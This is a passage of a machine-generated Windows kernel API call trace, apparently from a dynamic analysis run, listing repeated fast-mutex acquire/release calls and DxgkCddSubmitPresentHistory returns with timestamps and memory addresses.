ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.414] DxgkCddSubmitPresentHistory () returned 0x0 [0131.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.462] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.462] DxgkCddSubmitPresentHistory () returned 0x0 [0131.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.715] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.715] DxgkCddSubmitPresentHistory () returned 0x0 [0131.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.768] DxgkCddSubmitPresentHistory () returned 0x0 [0131.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.774] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0131.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.774] DxgkCddSubmitPresentHistory () returned 0x0 [0131.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.794] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0131.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.794] DxgkCddSubmitPresentHistory () returned 0x0 [0131.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.795] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.799] DxgkCddSubmitPresentHistory () returned 0x0 [0131.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.819] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.819] DxgkCddSubmitPresentHistory () returned 0x0 [0131.820] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.820] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0131.820] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.820] DxgkCddSubmitPresentHistory () returned 0x0 [0131.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.852] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.852] DxgkCddSubmitPresentHistory () returned 0x0 [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.868] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.868] DxgkCddSubmitPresentHistory () returned 0x0 [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.868] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.868] DxgkCddSubmitPresentHistory () returned 0x0 [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.868] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.868] DxgkCddSubmitPresentHistory () returned 0x0 [0131.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.884] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.884] DxgkCddSubmitPresentHistory () returned 0x0 [0131.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.927] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.927] DxgkCddSubmitPresentHistory () returned 0x0 [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0131.943] DxgkCddSubmitPresentHistory () returned 0x0 [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0131.943] DxgkCddSubmitPresentHistory () returned 0x0 [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.943] DxgkCddSubmitPresentHistory () returned 0x0 [0131.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.976] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.976] DxgkCddSubmitPresentHistory () returned 0x0 [0131.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.990] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0131.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0131.990] DxgkCddSubmitPresentHistory () returned 0x0 [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.006] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001609810) [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001609810) [0132.006] DxgkCddSubmitPresentHistory () returned 0x0 [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.006] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.006] DxgkCddSubmitPresentHistory () returned 0x0 [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.006] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.006] DxgkCddSubmitPresentHistory () returned 0x0 [0132.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.039] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.039] DxgkCddSubmitPresentHistory () returned 0x0 [0132.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.069] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.069] DxgkCddSubmitPresentHistory () returned 0x0 [0132.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.069] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.069] DxgkCddSubmitPresentHistory () returned 0x0 [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.121] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.121] DxgkCddSubmitPresentHistory () returned 0x0 [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.121] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000122d190) [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.121] DxgkCddSubmitPresentHistory () returned 0x0 [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.121] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.121] DxgkCddSubmitPresentHistory () returned 0x0 [0132.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.145] DxgkCddSubmitPresentHistory () returned 0x0 [0132.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.180] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.180] DxgkCddSubmitPresentHistory () returned 0x0 [0132.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.196] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.196] DxgkCddSubmitPresentHistory () returned 0x0 [0132.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.227] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.227] DxgkCddSubmitPresentHistory () returned 0x0 [0132.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.240] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000122d190) [0132.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.240] DxgkCddSubmitPresentHistory () returned 0x0 [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.273] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.273] DxgkCddSubmitPresentHistory () returned 0x0 [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.273] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.273] DxgkCddSubmitPresentHistory () returned 0x0 [0132.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.287] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.287] DxgkCddSubmitPresentHistory () returned 0x0 [0132.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.319] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.320] DxgkCddSubmitPresentHistory () returned 0x0 [0132.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.320] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000122d190) [0132.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.320] DxgkCddSubmitPresentHistory () returned 0x0 [0132.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.320] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.320] DxgkCddSubmitPresentHistory () returned 0x0 [0132.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.333] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.333] DxgkCddSubmitPresentHistory () returned 0x0 [0132.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000122d190) [0132.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.367] DxgkCddSubmitPresentHistory () returned 0x0 [0132.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.367] DxgkCddSubmitPresentHistory () returned 0x0 [0132.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.380] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.380] DxgkCddSubmitPresentHistory () returned 0x0 [0132.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.381] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.381] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.381] DxgkCddSubmitPresentHistory () returned 0x0 [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.412] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.412] DxgkCddSubmitPresentHistory () returned 0x0 [0132.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000122d190) [0132.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.427] DxgkCddSubmitPresentHistory () returned 0x0 [0132.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.427] DxgkCddSubmitPresentHistory () returned 0x0 [0132.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.443] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.443] DxgkCddSubmitPresentHistory () returned 0x0 [0132.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.443] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.443] DxgkCddSubmitPresentHistory () returned 0x0 [0132.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0132.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.488] DxgkCddSubmitPresentHistory () returned 0x0 [0132.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.488] DxgkCddSubmitPresentHistory () returned 0x0 [0132.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.505] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0132.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0132.506] DxgkCddSubmitPresentHistory () returned 0x0 [0132.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.561] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.561] DxgkCddSubmitPresentHistory () returned 0x0 [0132.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.584] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.584] DxgkCddSubmitPresentHistory () returned 0x0 [0132.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.615] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.615] DxgkCddSubmitPresentHistory () returned 0x0 [0132.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.631] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.631] DxgkCddSubmitPresentHistory () returned 0x0 [0132.670] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.670] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.670] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.670] DxgkCddSubmitPresentHistory () returned 0x0 [0132.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.677] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.677] DxgkCddSubmitPresentHistory () returned 0x0 [0132.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.708] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.708] DxgkCddSubmitPresentHistory () returned 0x0 [0132.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.744] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.744] DxgkCddSubmitPresentHistory () returned 0x0 [0132.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.760] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.760] DxgkCddSubmitPresentHistory () returned 0x0 [0132.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.776] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.776] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.776] DxgkCddSubmitPresentHistory () returned 0x0 [0132.792] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.792] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.792] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.792] DxgkCddSubmitPresentHistory () returned 0x0 [0132.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.825] DxgkCddSubmitPresentHistory () returned 0x0 [0132.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.841] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.841] DxgkCddSubmitPresentHistory () returned 0x0 [0132.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.873] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.873] DxgkCddSubmitPresentHistory () returned 0x0 [0132.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.905] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.905] DxgkCddSubmitPresentHistory () returned 0x0 [0132.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.921] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.921] DxgkCddSubmitPresentHistory () returned 0x0 [0132.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.953] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.953] DxgkCddSubmitPresentHistory () returned 0x0 [0132.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.969] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0132.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0132.969] DxgkCddSubmitPresentHistory () returned 0x0 [0133.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0133.001] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0133.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0133.001] DxgkCddSubmitPresentHistory () returned 0x0 [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.106] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.106] DxgkCddSubmitPresentHistory () returned 0x0 [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.106] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0134.106] DxgkCddSubmitPresentHistory () returned 0x0 [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.106] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0134.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.106] DxgkCddSubmitPresentHistory () returned 0x0 [0134.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0134.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.143] DxgkCddSubmitPresentHistory () returned 0x0 [0134.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.198] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0134.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.198] DxgkCddSubmitPresentHistory () returned 0x0 [0134.214] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.214] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0134.214] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.214] DxgkCddSubmitPresentHistory () returned 0x0 [0134.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0134.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.831] DxgkCddSubmitPresentHistory () returned 0x0 [0134.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.961] 